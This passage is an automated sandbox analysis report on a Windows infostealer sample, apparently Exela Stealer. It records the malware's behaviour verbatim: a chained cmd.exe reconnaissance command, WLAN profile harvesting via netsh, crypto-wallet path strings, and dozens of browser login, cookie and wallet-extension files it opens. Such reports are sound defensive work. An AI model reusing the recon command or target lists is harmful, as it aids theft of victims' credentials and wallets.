Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: wireshark.exe
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000002.2003130467.000002DCD2BF0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: ollydbg.exe

Stealing of Sensitive Information

Yara detected Exela Stealer

Source: Yara match	File source: 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe PID: 6816, type: MEMORYSTR

Yara detected Python Stealer

Source: Yara match	File source: 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1999333870.000002DCD07D8000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2000507238.000002DCD1A20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1959010647.000002DCD0DB4000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2000591564.000002DCD1B20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1961094349.000002DCD14C1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1961262415.000002DCD0E25000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe PID: 6816, type: MEMORYSTR

Detected generic credential text file

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Cookies.txt	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\Browsers\Firefox\History.txt	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\network_info.txt	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\system_info.txt	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File created: C:\Users\user\AppData\Local\Temp\71434D56-1548-ED3D-AEE6-C75AECD93BF0\process_info.txt	Jump to behavior

Found many strings related to Crypto-Wallets (likely being stolen)

Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "Electrum": os.path.join(self.RoamingAppData, "Electrum", "wallets"),
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "Jaxx": os.path.join(self.RoamingAppData, "com.liberty.jaxx", "IndexedDB", "file__0.indexeddb.leveldb"),
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "Exodus": "aholpfdialjgjfhomihkjbmgjidlcdno",
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "Ethereum": os.path.join(self.RoamingAppData, "Ethereum", "keystore"),
Source: SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe, 00000001.00000003.1735254245.000002DCD0DF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: "Ethereum": os.path.join(self.RoamingAppData, "Ethereum", "keystore"),

Gathers network related connection and port information

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\events	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\bde1cb97-a9f1-4568-9626-b993438e38e1	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\4d5b179f-bba0-432a-b376-b1fb347ae64f	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nphplpgoakhhjchkkhmiggakijnkhfnd	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.files	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\57328c1e-640f-4b62-a5a0-06d479b676c2	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hmeobnfnfcmdkdcmlblgagmfpfboieaf	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnnegphlobjdpkhecapkijjdkgcjhkib	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\bookmarkbackups	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\2cb4572a-4cab-4e12-9740-762c0a50285f	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\e8d04e65-de13-4e7d-b232-291855cace25	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\minidumps	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\03a1fc40-7474-4824-8fa1-eaa75003e98a	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\8ad0d94c-ca05-4c9d-8177-48569175e875	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win64.Evo-gen.8568.15352.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda	Jump to behavior
